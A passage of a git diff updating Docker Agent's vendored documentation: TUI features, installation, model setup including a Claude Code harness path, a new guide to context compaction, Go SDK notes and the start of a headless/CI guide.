@pkg/agent/agent.go does The agent receives the full file contents in a structured `` block, while the UI shows just the reference. -Attached files are also recorded on the session so sub-agents spawned by task transfer can read them. To review what is attached, open `/context`: the dialog lists every attached file (and resolved prompt file) with a per-file token estimate. Use ↑/↓ to select an attached file and press d (or x/Del) to drop it, or run `/drop ` directly. Dropping stops sharing the file with sub-agents and skills; content already inlined in earlier messages stays in the conversation until compaction, and the file can always be re-attached with `@` or `/attach`. +Attached files are also recorded on the session so sub-agents spawned by task transfer can read them. To review what is attached, open `/context`: the dialog lists every attached file (and resolved prompt file) with a per-file token estimate. Use ↑/↓ to select an attached file and press d (or x/Del) to drop it, or run `/drop ` directly — press Tab after `/drop` and a space to complete the path from the currently attached files. Dropping stops sharing the file with sub-agents and skills; content already inlined in earlier messages stays in the conversation until compaction, and the file can always be re-attached with `@` or `/attach`. ### Team Context Budgets and Targeted Compaction @@ -242,9 +271,9 @@ Select a live session with ↑/↓ and press EnterCtrl+M: +Change the AI model during a session with `/model` or Ctrl+M. Model switching works in both the full TUI and the lean TUI. -1. Press Ctrl+M or type `/model` +1. Press Ctrl+M (full TUI) or type `/model` (both TUIs) 2. Select from config models or type a custom `provider/model` 3. The model switch is saved with the session and restored on reload @@ -269,10 +298,10 @@ Each error message includes a clickable **↻ retry** button. Clicking it resume ## Session Management -docker-agent automatically saves your sessions. Use `/sessions` to browse past conversations: +Docker Agent automatically saves your sessions. Use `/sessions` to browse past conversations: -- **Browse** past sessions with search and filtering -- **Workspace grouping**: sessions started in the current directory are listed first under "This workspace", everything else under "Other locations" with its originating directory shown next to each entry; press Ctrl+G in the browser to cycle between all, current-directory only, and other-directory views. Restoring a session reopens it in its original directory, so the label always matches where a restore will land +- **Browse** past sessions with search and filtering. The search matches against session **titles** and **session IDs** (full UUIDs, dash-less variants, and partial fragments all resolve correctly — useful when jumping back to a session from a copied ID or log). +- **Workspace grouping**: sessions are grouped by **git repository root** (worktree-aware) — sessions from any subdirectory or linked worktree of the same repository are grouped together under "This workspace", and the header shows the repository root path. Sessions outside the current repository appear under "Other locations" with their originating directory. Press Ctrl+G in the browser to cycle between all, current-workspace only, and other-directory views. Restoring a session reopens it in its original directory, so the label always matches where a restore will land. - **Star** important sessions with `/star` - **Branch** conversations by editing any previous user message — preserving the original session history - **Resume** sessions with `docker agent run config.yaml --session ` @@ -280,7 +309,7 @@ docker-agent automatically saves your sessions. Use `/sessions` to browse past c ### Session Title Editing -Customize session titles to make them more meaningful and easier to find. By default, docker-agent auto-generates titles based on your first message, but you can override or regenerate them at any time. +Customize session titles to make them more meaningful and easier to find. By default, Docker Agent auto-generates titles based on your first message, but you can override or regenerate them at any time. **Using the `/title` command:** @@ -326,7 +355,7 @@ Press Ctrl+H to view the complete list of all available ke ### Custom Keybindings -You can remap the shortcuts above by adding a `keybindings` list to the `settings` block of your `~/.config/cagent/config.yaml`. Each entry maps an action to one or more key combinations in [Bubbles key format](https://github.com/charmbracelet/bubbles) (for example `ctrl+q`, `alt+enter`, `f2`). Unlisted actions keep their defaults. +You can remap the shortcuts above by adding a `keybindings` list to the `settings` block of your `~/.config/cagent/config.yaml` (see [User Settings](../../configuration/user-settings/index.md#settings-reference) for the field reference). Each entry maps an action to one or more key combinations in [Bubbles key format](https://github.com/charmbracelet/bubbles) (for example `ctrl+q`, `alt+enter`, `f2`). Unlisted actions keep their defaults. This is the recommended way to replace the `Ctrl+J` newline fallback, which conflicts with common editor/terminal shortcuts (for example inside VS Code). @@ -376,9 +405,15 @@ Press Ctrl+R to enter incremental history search mode. Sta Run `/settings` to open the settings dialog. Use Tab to switch between **Appearance**, **Behavior**, and **Notifications**. +> [!TIP] +> **Full settings reference** +> +> This section covers the `/settings` dialog. For the complete list of `settings:` fields (including ones with no dialog UI, like `permissions`, `hooks`, and `keybindings`) and how they interact with CLI flags and aliases, see [User Settings](../../configuration/user-settings/index.md). + The **Appearance** tab selects the theme and customizes the layout. Layout changes show a live schematic preview and apply immediately to the UI behind the dialog: -- **Sidebar position**: `Right` (default), `Left`, `Top`, or `Bottom`. Left/right keep the full vertical sidebar next to the chat; top/bottom render it as a compact horizontal band above or below the chat (session title, working directory, usage, plus a one-line summary of the current agent, tools, and todos). +- **Sidebar position**: `Right` (default), `Left`, `Top`, or `Bottom`. Left/right keep the full vertical sidebar next to the chat; top/bottom render it as a compact horizontal band above or below the chat (session title, working directory, token usage, plus a one-line summary of the current agent and its model; in multi-agent configurations all team agents are listed by name after the current agent). +- **Sidebar info mode**: `Compact` (default) or `Detailed`. Controls how the Agents panel renders agent rows — see [Agents Panel](#agents-panel) for details. Persisted as `settings.layout.sidebar_info_mode: detailed`; compact is the default and omitted from the config. - **Section spacing**: `Compact`, `Normal` (default), or `Relaxed`, the number of blank lines between the sidebar sections (1, 2, or 3). - **Sidebar sections**: toggle the visibility of the **Session path** (the working directory line, including its git branch) and the **Token usage**, **Agents**, **Tools**, and **Todos** sections. The session title is always shown. @@ -396,6 +431,7 @@ settings: busy_send_mode: queue # steer (default), queue layout: sidebar_position: left # right (default), left, top, bottom + sidebar_info_mode: detailed # compact (default, omitted), detailed section_spacing: compact # normal (default), compact, relaxed hide_session_path: false hide_usage: true @@ -428,7 +464,7 @@ settings: theme_light: default-light # optional, theme used on light backgrounds (default: default-light) ``` -At startup the terminal background is queried (OSC 11) to pick the dark or light theme of the pair; non-interactive runs (pipes, CI) fall back to the dark theme. In terminals that report appearance changes (DEC mode 2031 — Ghostty, kitty, contour, …), flipping the OS or terminal appearance while docker-agent is running switches the theme live. Terminals without that mode re-sync when the window regains focus. +At startup the terminal background is queried (OSC 11) to pick the dark or light theme of the pair; non-interactive runs (pipes, CI) fall back to the dark theme. In terminals that report appearance changes (DEC mode 2031 — Ghostty, kitty, contour, …), flipping the OS or terminal appearance while Docker Agent is running switches the theme live. Terminals without that mode re-sync when the window regains focus. ### Custom Themes @@ -474,7 +510,7 @@ markdown: ### Applying Themes -**In user config** (`~/.config/cagent/config.yaml`): +**In user config** (`~/.config/cagent/config.yaml`, see [User Settings](../../configuration/user-settings/index.md) for the full reference): ```yaml settings: @@ -497,7 +533,7 @@ settings: ## Tool Permissions -When an agent calls a tool, docker-agent shows a confirmation dialog by default. You can: +When an agent calls a tool, Docker Agent shows a confirmation dialog by default. You can: - **Approve once** — Allow this specific call - **Always allow** — Permanently approve this tool/command for the session diff --git a/_vendor/github.com/docker/docker-agent/docs/getting-started/installation/index.md b/_vendor/github.com/docker/docker-agent/docs/getting-started/installation/index.md index 75b0ebbe8579..d231ce91175b 100644 --- a/_vendor/github.com/docker/docker-agent/docs/getting-started/installation/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/getting-started/installation/index.md @@ -1,12 +1,12 @@ --- title: "Installation" -description: "Get docker-agent running on your system in minutes." +description: "Get Docker Agent running on your system in minutes." keywords: docker agent, ai agents, getting started, installation weight: 20 canonical: https://docs.docker.com/ai/docker-agent/getting-started/installation/ --- -_Get docker-agent running on your system in minutes._ +_Get Docker Agent running on your system in minutes._ ## Prerequisites @@ -15,18 +15,18 @@ _Get docker-agent running on your system in minutes._ ## Docker Desktop (Pre-installed) -Starting with [Docker Desktop 4.63](https://docs.docker.com/desktop/release-notes/#4630), **docker-agent is already available**. No separate installation needed — just open a terminal and run: +Starting with [Docker Desktop 4.63](https://docs.docker.com/desktop/release-notes/#4630), **Docker Agent is already available**. No separate installation needed — just open a terminal and run: ```bash $ docker agent version ``` > [!TIP] -> Docker Desktop bundles docker-agent and keeps it up to date. This is the easiest way to get started, especially if you want to use Docker MCP tools and Docker Model Runner. +> Docker Desktop bundles Docker Agent and keeps it up to date. This is the easiest way to get started, especially if you want to use Docker MCP tools and Docker Model Runner. ## Homebrew (macOS / Linux) -Install docker-agent using [Homebrew](https://brew.sh/): +Install Docker Agent using [Homebrew](https://brew.sh/): ```bash # Install @@ -36,7 +36,7 @@ $ brew install docker-agent $ docker-agent version ``` -You can also install docker-agent as a docker CLI plugin, by copying `docker-agent` binary in `~/.docker/cli-plugins`. You can then run `docker agent version`. +You can also install Docker Agent as a docker CLI plugin, by copying the `docker-agent` binary in `~/.docker/cli-plugins`. You can then run `docker agent version`. ## Download Binary Releases @@ -65,7 +65,7 @@ Download `docker-agent-windows-amd64.exe` from the [releases page](https://githu ## Optional Self-Updates -When docker-agent is installed from a standalone GitHub release binary, you can opt in to automatic self-updates by setting `DOCKER_AGENT_AUTO_UPDATE` to a truthy value (`1`, `true`, `yes`, or `on`): +When Docker Agent is installed from a standalone GitHub release binary, you can opt in to automatic self-updates by setting `DOCKER_AGENT_AUTO_UPDATE` to a truthy value (`1`, `true`, `yes`, or `on`): ```bash # Enable for one command @@ -76,14 +76,14 @@ export DOCKER_AGENT_AUTO_UPDATE=1 docker agent run ``` -With self-updates enabled, docker-agent checks the latest GitHub release before normal commands run. If a newer release exists and your session is interactive, docker-agent asks whether you want to install it or keep running your current version. When the answer is yes (or the session is non-interactive, such as CI or piped input, in which case the update proceeds automatically), it downloads the asset for your OS and architecture, verifies the release-provided SHA-256 digest/checksum, replaces the current binary, and restarts the command with the same arguments. +With self-updates enabled, Docker Agent checks the latest GitHub release before normal commands run. If a newer release exists and your session is interactive, Docker Agent asks whether you want to install it or keep running your current version. When the answer is yes (or the session is non-interactive, such as CI or piped input, in which case the update proceeds automatically), it downloads the asset for your OS and architecture, verifies the release-provided SHA-256 digest/checksum, replaces the current binary, and restarts the command with the same arguments. -Self-updates are fail-safe: if checking, downloading, verifying, installing, or restarting fails, docker-agent keeps running the current binary. Version/help/completion commands and Docker CLI plugin metadata handshakes do not trigger self-updates. +Self-updates are fail-safe: if checking, downloading, verifying, installing, or restarting fails, Docker Agent keeps running the current binary. Version/help/completion commands and Docker CLI plugin metadata handshakes do not trigger self-updates. > [!NOTE] > **Package-manager installs** > -> Docker Desktop and Homebrew already manage docker-agent updates. Prefer those update mechanisms when you installed docker-agent that way. Self-updates are mainly intended for standalone release binaries. +> Docker Desktop and Homebrew already manage Docker Agent updates. Prefer those update mechanisms when you installed Docker Agent that way. Self-updates are mainly intended for standalone release binaries. ## Build from Source @@ -114,7 +114,7 @@ task build ## Set Up API Keys -docker-agent needs API keys for the model providers you want to use. Set them as environment variables: +Docker Agent needs API keys for the model providers you want to use. Set them as environment variables: ```bash # Pick one (or more) depending on your provider diff --git a/_vendor/github.com/docker/docker-agent/docs/getting-started/quickstart/index.md b/_vendor/github.com/docker/docker-agent/docs/getting-started/quickstart/index.md index c42e42db3103..0fc916feeda1 100644 --- a/_vendor/github.com/docker/docker-agent/docs/getting-started/quickstart/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/getting-started/quickstart/index.md @@ -105,6 +105,16 @@ Once your agent is running, try asking it to: > [!TIP] > Add `--yolo` to auto-approve all tool calls: `docker agent run agent.yaml --yolo` +## Take the Interactive Tour + +Prefer to learn by doing? Run: + +```bash +$ docker agent getting-started +``` + +This launches a short, scripted tour inside the chat UI: sending messages, approving tool calls, the command palette, and slash commands. It's skippable at any point with Esc, and you can replay it later with the same command or the `/getting-started` slash command. + ## Non-Interactive Mode Use `docker agent run --exec` for one-shot tasks: diff --git a/_vendor/github.com/docker/docker-agent/docs/getting-started/set-up-a-model/index.md b/_vendor/github.com/docker/docker-agent/docs/getting-started/set-up-a-model/index.md index 1d2a5906f168..736407680e5d 100644 --- a/_vendor/github.com/docker/docker-agent/docs/getting-started/set-up-a-model/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/getting-started/set-up-a-model/index.md @@ -6,7 +6,7 @@ weight: 25 canonical: https://docs.docker.com/ai/docker-agent/getting-started/set-up-a-model/ --- -_Every agent needs a model to think with. Bring an API key for a cloud provider, or run a model locally with Docker Model Runner. This page walks through both paths end to end._ +_Most agents need a model to think with: bring an API key for a cloud provider, or run a model locally with Docker Model Runner. This page walks through both paths end to end — plus the exception: agents that delegate to the Claude Code CLI on a Claude subscription, which need no model at all._ ## Pick a Path @@ -19,10 +19,12 @@ _Every agent needs a model to think with. Bring an API key for a cloud provider, You can set up both. When you don't name a model, Docker Agent's `auto` selection picks the first cloud provider with a configured key and falls back to a locally pulled Docker Model Runner model. +There is also a third path that is neither: if you have a **Claude subscription**, the [Claude Code harness](#path-c-claude-code-harness-claude-subscription) runs the official `claude` CLI as the agent — no API key and no local model required. + > [!TIP] > **Prefer a wizard?** > -> `docker agent setup` walks through the same choices interactively: pick a provider and store its key, or check Docker Model Runner and pull a local model. This page is the manual version of both paths. See the [CLI reference](../../features/cli/index.md#docker-agent-setup). +> `docker agent setup` walks through the same choices interactively: pick a provider and store its key, check Docker Model Runner and pull a local model, or set up the Claude Code harness. This page is the manual version. See the [CLI reference](../../features/cli/index.md#docker-agent-setup). ## Path A: Cloud Provider (API Key) @@ -53,11 +55,10 @@ That lasts for the current shell session. To set a key up once, use any other bu $ echo 'ANTHROPIC_API_KEY=sk-ant-...' > .env $ docker agent run --env-from-file .env -# pass password manager (Linux, macOS) -$ pass insert ANTHROPIC_API_KEY - -# macOS Keychain -$ security add-generic-password -a "$USER" -s ANTHROPIC_API_KEY -w +# Docker Agent env file, read automatically on every run +# (`docker agent setup` writes it for you with owner-only permissions) +$ echo 'ANTHROPIC_API_KEY=sk-ant-...' >> ~/.config/cagent/.env +$ chmod 600 ~/.config/cagent/.env ``` The entry name must match the environment variable the provider expects. [Managing Secrets](../../guides/secrets/index.md) covers every source (Docker Compose secrets, credential helpers, 1Password references) and the order they are checked in. @@ -181,6 +182,50 @@ agents: When no cloud key is configured, bare `docker agent run` auto-selects a pulled local model, so after `docker model pull` you can run with no flags at all. The [Docker Model Runner provider page](../../providers/dmr/index.md) covers context size, runtime flags, and other tuning options. +## Path C: Claude Code Harness (Claude Subscription) + +If you already pay for a Claude subscription, an agent can delegate its work to +the official Claude Code CLI instead of calling a model API. This is an +**external CLI, not provider API access**: Docker Agent launches `claude`, +which authenticates with its own subscription login — no `ANTHROPIC_API_KEY`, +no Docker Model Runner, and no token ever passes through Docker Agent. + +### 1. Install and log in + +Install [Claude Code](https://docs.anthropic.com/en/docs/claude-code), then +log in **as the same OS user and environment that run `docker agent`**: + +```bash +$ claude auth login --claudeai # interactive, opens a browser +$ claude auth status --text # verify +``` + +### 2. Create a harness agent + +`docker agent setup` (pick "Claude Code harness") generates this file for you, +or write it yourself: + +```yaml +# claude-code-agent.yaml +agents: + root: + description: Claude Code running on your Claude subscription + harness: + type: claude-code + effort: medium # low | medium | high | xhigh | max; omit for the Claude Code default +``` + +### 3. Verify and run + +```bash +$ docker agent doctor claude-code-agent.yaml # checks the CLI is installed and logged in +$ docker agent run claude-code-agent.yaml +``` + +The harness runs the CLI non-interactively and bypasses Claude Code's +permission prompts, so use it in a repository you trust — see the security +notes and full field reference in [Coding Harnesses](../../features/harnesses/index.md). + ## Check Your Setup Anytime `docker agent doctor` reports which providers have credentials (and from which source), whether Docker Model Runner is reachable and which models are pulled, and which model `auto` would pick. Secret values are never printed. diff --git a/_vendor/github.com/docker/docker-agent/docs/guides/compaction/index.md b/_vendor/github.com/docker/docker-agent/docs/guides/compaction/index.md new file mode 100644 index 000000000000..b91dd71f7d3b --- /dev/null +++ b/_vendor/github.com/docker/docker-agent/docs/guides/compaction/index.md @@ -0,0 +1,147 @@ +--- +title: "Managing Context & Compaction" +description: "How to keep long Docker Agent sessions from filling the model's context window: automatic and on-demand compaction, trimming tool results, and reading the context gauge." +keywords: docker agent, ai agents, guides, context window, compaction, session compaction +weight: 50 +canonical: https://docs.docker.com/ai/docker-agent/guides/compaction/ +--- + +_How to keep long-running sessions from filling the model's context window._ + +## Why long sessions fill the context window + +Every model has a fixed context window — a maximum number of tokens it can read per request. As a session grows, the system prompt, tool definitions, prompt files, and the full message history (including every tool call and its result) all count against that budget. A long-running agent — one that reads many files, runs many commands, or just keeps chatting for a while — eventually approaches the limit. Once a request no longer fits, the model provider rejects it and the session stalls. + +Docker Agent addresses this with **compaction**: replacing older parts of the conversation with a compact AI-generated summary, freeing up room for the session to keep going. This guide covers the levers you have — automatic compaction, on-demand compaction, and trimming individual tool results — and how to read the context gauge so you know where a session stands. + +## Let Docker Agent compact automatically + +By default, every agent proactively compacts its own session once estimated token usage crosses **90%** of the model's context window: + +```yaml +agents: + root: + model: anthropic/claude-sonnet-4-5 + description: A long-running research assistant + instruction: You are a helpful assistant. +``` + +No configuration is required to get this behavior — it's on by default. Three fields let you tune it: + +| Field | Where | Description | +| --- | --- | --- | +| `session_compaction` | agent | Set to `false` to disable automatic compaction entirely for this agent (both the proactive threshold trigger and the post-overflow auto-recovery). The manual `/compact` command still works. Default: `true`. | +| `compaction_threshold` | agent or model | Fraction of the context window (greater than `0`, at most `1`) at which proactive compaction fires. A value set on the model takes precedence over the agent-level value. Default: `0.9`. | +| `compaction_model` | agent or model | Delegate the compaction (summary-generation) call to a different, usually cheaper and faster, model. A value set on the model takes precedence over the agent-level value. | + +Lower the threshold to compact earlier and keep individual requests smaller and cheaper; raise it to keep more verbatim history in context before the first summary happens: + +```yaml +models: + primary: + provider: anthropic + model: claude-sonnet-4-5 + # Compact at 80% of the window instead of the default 90%. + compaction_threshold: 0.8 +``` + +Compaction itself is a model call — feeding the full conversation to a model and asking for a summary — and it's the most expensive call in a session simply because it's the one that runs when the context is largest. There's rarely a reason to spend your primary reasoning model on it. Point `compaction_model` at something smaller instead; every other call still runs on the primary model: + +```yaml +models: + primary: + provider: anthropic + model: claude-sonnet-4-5 + compaction_model: fast + fast: + provider: anthropic + model: claude-haiku-4-5 +``` + +> [!IMPORTANT] +> **Context window mismatch** +> +> If `compaction_model` has a **smaller** context window than the primary model, Docker Agent triggers compaction against the smaller window so the summary call can always ingest the full conversation. Pair the primary model with a compaction model whose window is at least as large to keep the proactive trigger aligned with the primary model's window. + +Disable compaction only when you specifically want a session to keep full, unabridged history and are willing to risk hitting the context limit: + +```yaml +agents: + archivist: + model: anthropic/claude-sonnet-4-5 + description: An assistant that never auto-compacts its sessions. + instruction: You keep full conversation history and never lose context. + session_compaction: false +``` + +See [`examples/compaction_model.yaml`](https://github.com/docker/docker-agent/blob/main/examples/compaction_model.yaml) and [`examples/compaction_threshold.yaml`](https://github.com/docker/docker-agent/blob/main/examples/compaction_threshold.yaml) for complete configurations, and [Delegating Session Compaction](../../configuration/models/index.md#delegating-session-compaction) in the Model Config reference for the full field-level details. + +## Compact on demand + +You don't have to wait for the automatic threshold. Two TUI commands give you direct control: + +- **`/compact`** — summarize and compact the current session's history right now, regardless of how full the context window is. Useful before starting a new phase of work that doesn't need the earlier detail. +- **`/context`** — open a context-window breakdown: estimated tokens per category (system prompt, tool definitions, prompt files, messages, tool results, compaction summary), a **Live sessions** view listing the current session plus every running sub-agent session with its own context budget, and a per-file inventory of attachments and prompt files. + +From `/context`, select any live session with the arrow keys and press Enter to explicitly compact it — including a sub-agent's session, not just the main one. This is the only way cross-agent compaction happens: there's no idle-triggered automatic compaction of sub-agent sessions, so a long-running background agent stays under your control. The request is queued onto the target session's own run loop and applied at the next safe point between model turns, so it never corrupts an in-flight turn. + +```bash +$ docker agent run agent.yaml +# ... work for a while ... +# Type /context to see the current breakdown, or /compact to summarize now +``` + +## Trim tool results to save room + +Compaction deals with the whole conversation at once. For sessions dominated by a few oversized tool results — a full build log, a large file dump — three agent-level fields let you cap the damage before it ever reaches compaction: + +| Field | What it bounds | Behavior | +| --- | --- | --- | +| `max_tool_result_tokens` | Each tool result, as it's added to the session | Oversized results are truncated **middle-out**: the head and tail are kept (usually the most informative parts) and the removed middle is replaced with a truncation marker. | +| `max_old_tool_call_tokens` | The total budget for **old** tool call arguments and results | Once older tool calls exceed the budget, their content is replaced wholesale with a placeholder — freeing context space without touching recent, still-relevant calls. | +| `num_history_items` | The number of non-system conversation messages kept in history | A message-**count** limit, not a token budget. The oldest non-protected messages are dropped first once the count is exceeded; **system and user messages are always protected** and are never counted against or removed by this limit, so the assembled history can exceed `num_history_items` and every user message survives even a long single-turn agentic loop. | + +`max_tool_result_tokens` and `max_old_tool_call_tokens` are approximated as `len/4` tokens (the industry rule-of-thumb of ~4 characters per token); `num_history_items` counts messages, not tokens. All three are disabled by default (`0`). Set a positive value to enable them: + +```yaml +agents: + root: + model: anthropic/claude-sonnet-4-5 + description: An assistant whose tool results are capped at ~2000 tokens each. + instruction: | + You are a helpful assistant with shell access. Very large command + outputs are truncated in the middle — the beginning and end are + always preserved, and a marker shows where content was removed. + max_tool_result_tokens: 2000 + toolsets: + - type: shell +``` + +> [!TIP] +> **Use both together** +> +> `max_tool_result_tokens` bounds each result the moment it's recorded; `max_old_tool_call_tokens` reclaims space from calls that are no longer fresh. Combine them on tool-heavy agents (shell, filesystem) to keep the session lean well before it approaches the compaction threshold. + +See [`examples/max_tool_result_tokens.yaml`](https://github.com/docker/docker-agent/blob/main/examples/max_tool_result_tokens.yaml) for a complete example, and [Agent Config](../../configuration/agents/index.md#properties-reference) for the full field reference. + +## Read the context gauge + +The TUI's sidebar token-usage section (and the fill bar in the [lean TUI](../../features/tui/index.md#lean-tui) status line) color-escalates as a session approaches its compaction threshold, so you can see trouble coming before a request fails: + +| State | Color | Trigger | +| --- | --- | --- | +| Normal | (default) | Usage below 75% of the compaction threshold | +| Warning | Orange | Usage at or above 75% of the compaction threshold | +| Critical | Red | Usage at or above 95% of the compaction threshold | + +While a compaction is running, the percentage is replaced by a **"compacting…"** indicator; token counts remain visible in the lean TUI status line. The thresholds scale with the agent's configured `compaction_threshold` (default `0.9`), so a custom value keeps a predictable visual runway — for example, a `compaction_threshold: 0.8` session turns orange at 60% usage (75% of 0.8) instead of 67.5%. + +Open `/context` at any time for the full per-category breakdown behind that percentage. + +## What happens to cost across compaction + +Compaction summarizes history, but it never resets what a session has actually cost you. Session cost tracking is **monotonic across compaction**: the running total only ever goes up, even though the summarized conversation itself is now smaller. Check `/cost` to see the current breakdown at any point, before or after a compaction has run. + +## Related: deferred tool loading + +Compaction and result trimming manage context that's already in the session. If large toolsets are inflating your **starting** context instead — many MCP servers, hundreds of tools — look at [deferred tool loading](../../configuration/tools/index.md#deferred-tool-loading), which registers a toolset's tools lazily instead of eagerly at startup. diff --git a/_vendor/github.com/docker/docker-agent/docs/guides/go-sdk/index.md b/_vendor/github.com/docker/docker-agent/docs/guides/go-sdk/index.md index 11ae69989487..d2651cebfee2 100644 --- a/_vendor/github.com/docker/docker-agent/docs/guides/go-sdk/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/guides/go-sdk/index.md @@ -1,16 +1,16 @@ --- title: "Go SDK" -description: "Use docker-agent as a Go library to embed AI agents in your applications." +description: "Use Docker Agent as a Go library to embed AI agents in your applications." keywords: docker agent, ai agents, guides, go sdk weight: 40 canonical: https://docs.docker.com/ai/docker-agent/guides/go-sdk/ --- -_Use docker-agent as a Go library to embed AI agents in your applications._ +_Use Docker Agent as a Go library to embed AI agents in your applications._ ## Overview -docker-agent can be used as a Go library, allowing you to build AI agents directly into your Go applications. This gives you full programmatic control over agent creation, tool integration, and execution. +Docker Agent can be used as a Go library, allowing you to build AI agents directly into your Go applications. This gives you full programmatic control over agent creation, tool integration, and execution. > [!NOTE] > **Import Path** @@ -40,7 +40,7 @@ docker-agent can be used as a Go library, allowing you to build AI agents direct ## Embedding TUI Components -When building custom UIs on top of docker-agent's TUI primitives, four packages define the contracts that keep the runtime and the UI in sync: +When building custom UIs on top of Docker Agent's TUI primitives, four packages define the contracts that keep the runtime and the UI in sync: - **`pkg/tui/components/toolconfirm`** — import this package for the permission-decision policy rather than copying the pattern-building logic. The `Decision` enum, `BuildPermissionPattern` helper, and rejection-reason presets are the canonical source of truth: whatever pattern is shown to the user in the confirmation dialog is exactly the pattern granted to the runtime. - **`pkg/tui/service`** — use `StaticSessionState` as a stub `SessionStateReader` when rendering individual message or tool views outside the full TUI app. It returns conservative fixed values for all nine interface methods, eliminating the need for hand-rolled stubs. @@ -49,7 +49,7 @@ When building custom UIs on top of docker-agent's TUI primitives, four packages ## Headless Embedded Chat (`pkg/embeddedchat`) -`pkg/embeddedchat` is a thin wrapper around the docker-agent runtime that lets you drive an agent from your own UI instead of running docker-agent's Bubble Tea application. It handles runtime construction, event projection, and conversation state, exposing a simple `Send` / `Confirm` / `Restart` / `Close` API. +`pkg/embeddedchat` is a thin wrapper around the Docker Agent runtime that lets you drive an agent from your own UI instead of running Docker Agent's Bubble Tea application. It handles runtime construction, event projection, and conversation state, exposing a simple `Send` / `Confirm` / `Restart` / `Close` API. ### Creating a session @@ -148,7 +148,7 @@ For advanced use (custom elicitation, raw event inspection), call `chat.Runtime( ## Optional Provider Build Tags -By default docker-agent includes all four cloud providers (OpenAI, Anthropic, Google, Amazon Bedrock). When embedding docker-agent in your own binary you can compile out unneeded providers — together with their transitive SDK dependencies — to reduce binary size. +By default Docker Agent includes all four cloud providers (OpenAI, Anthropic, Google, Amazon Bedrock). When embedding Docker Agent in your own binary you can compile out unneeded providers — together with their transitive SDK dependencies — to reduce binary size. Each provider is gated by a negative build tag prefixed `docker_agent_` to avoid collisions with your own project's tags: @@ -197,7 +197,7 @@ Pass the custom registry via `teamloader.WithToolsetRegistry(registry)` when cal ## Registering Custom Built-in Themes -When embedding docker-agent, you can contribute your own built-in themes via `styles.RegisterBuiltinThemes`. Registered themes integrate seamlessly with the existing theme picker, `/theme` command, and `settings.theme` config key — they behave exactly like docker-agent's own bundled themes. +When embedding Docker Agent, you can contribute your own built-in themes via `styles.RegisterBuiltinThemes`. Registered themes integrate seamlessly with the existing theme picker, `/theme` command, and `settings.theme` config key — they behave exactly like Docker Agent's own bundled themes. ```go import ( @@ -225,9 +225,9 @@ colors: background: "#1A0F0A" ``` -If `name:` is omitted, docker-agent uses the filename stem as the display name in the theme picker (e.g. `brand` from `themes/brand.yaml`). +If `name:` is omitted, Docker Agent uses the filename stem as the display name in the theme picker (e.g. `brand` from `themes/brand.yaml`). -To replace docker-agent's default theme entirely, ship the file as `themes/default.yaml` — it masks the bundled default while inheriting any colors you don't set. +To replace Docker Agent's default theme entirely, ship the file as `themes/default.yaml` — it masks the bundled default while inheriting any colors you don't set. **Semantics:** @@ -237,7 +237,7 @@ To replace docker-agent's default theme entirely, ship the file as `themes/defau ## MCP OAuth Token Persistence -By default, MCP OAuth tokens are stored in-memory only and are not persisted across process restarts. The CLI registers a keyring-backed store automatically at startup; when embedding docker-agent as a library you must do this yourself if you want tokens to survive restarts. +By default, MCP OAuth tokens are stored in-memory only and are not persisted across process restarts. The CLI registers a keyring-backed store automatically at startup; when embedding Docker Agent as a library you must do this yourself if you want tokens to survive restarts. Call `keyringstore.Register()` **before** any MCP toolset is initialised to enable the OS keyring-backed token store: @@ -255,7 +255,7 @@ func main() { > [!WARNING] > **Call order matters** > -> If `keyringstore.Register()` is called after the default token store has already been lazily initialised, docker-agent panics. The store is initialised when any remote MCP toolset is constructed — which happens inside `teamloader.Load()`. Always call `keyringstore.Register()` before calling `teamloader.Load()` on a config that includes remote MCP toolsets. +> If `keyringstore.Register()` is called after the default token store has already been lazily initialised, Docker Agent panics. The store is initialised when any remote MCP toolset is constructed — which happens inside `teamloader.Load()`. Always call `keyringstore.Register()` before calling `teamloader.Load()` on a config that includes remote MCP toolsets. If you do not need persistent OAuth tokens (for example, in short-lived batch jobs or tests), omit the call and tokens will be kept in-memory for the process lifetime. @@ -469,7 +469,7 @@ func createTeam(llm provider.Provider) *team.Team { ## Built-in Tools -Use docker-agent's built-in tools: +Use Docker Agent's built-in tools: ```go import ( @@ -505,7 +505,7 @@ func createAgentWithBuiltinTools(llm provider.Provider) *agent.Agent { ## HTTP Middleware / Transport Wrappers -Use `options.WithHTTPTransportWrapper` to inject HTTP middleware into the transport chain of all provider clients built by docker-agent. This is useful for request tracing, injecting custom headers, collecting metrics, or any other cross-cutting concern at the HTTP layer. +Use `options.WithHTTPTransportWrapper` to inject HTTP middleware into the transport chain of all provider clients built by Docker Agent. This is useful for request tracing, injecting custom headers, collecting metrics, or any other cross-cutting concern at the HTTP layer. ```go import ( @@ -544,11 +544,11 @@ The wrapper receives the already-instrumented transport (OpenTelemetry, SSE deco > [!WARNING] > **Vertex AI not supported** > -> Vertex AI uses an ADC-managed HTTP client that docker-agent cannot intercept. When a transport wrapper is set, docker-agent falls back to the GeminiAPI backend instead of Vertex AI — a debug message is logged. +> Vertex AI uses an ADC-managed HTTP client that Docker Agent cannot intercept. When a transport wrapper is set, Docker Agent falls back to the GeminiAPI backend instead of Vertex AI — a debug message is logged. In **gateway mode** the wrapper is called on every LLM request because gateway clients are rebuilt each call for short-lived auth tokens. In **direct mode** it is called once at client construction. Rate-limit responses (HTTP 429) are classified as non-retryable by the runtime and cause the model chain to skip to the next fallback, so wrappers that track per-request outcomes will observe these as failures rather than retried calls. -Returning `nil` from your wrapper function is not allowed; docker-agent logs a warning and keeps the original transport instead. +Returning `nil` from your wrapper function is not allowed; Docker Agent logs a warning and keeps the original transport instead. ## Using Different Providers diff --git a/_vendor/github.com/docker/docker-agent/docs/guides/headless/index.md b/_vendor/github.com/docker/docker-agent/docs/guides/headless/index.md new file mode 100644 index 000000000000..9a5b096a1279 --- /dev/null +++ b/_vendor/github.com/docker/docker-agent/docs/guides/headless/index.md @@ -0,0 +1,187 @@ +--- +title: "Running Agents Headless & in CI" +description: "Run Docker Agent without a TUI: structured JSON output, event hooks, sandboxed CI isolation, and a GitHub Actions example." +keywords: docker agent, ai agents, guides, headless, ci, github actions, sandbox +weight: 50 +canonical: https://docs.docker.com/ai/docker-agent/guides/headless/ +--- + +_Run Docker Agent without a TUI: structured JSON output, event hooks, sandboxed CI isolation, and a GitHub Actions example._ + +## `--exec` Mode Basics + +`--exec` runs an agent without the interactive TUI: output goes to stdout and the process exits when the conversation is done. It's the mode to use in scripts, 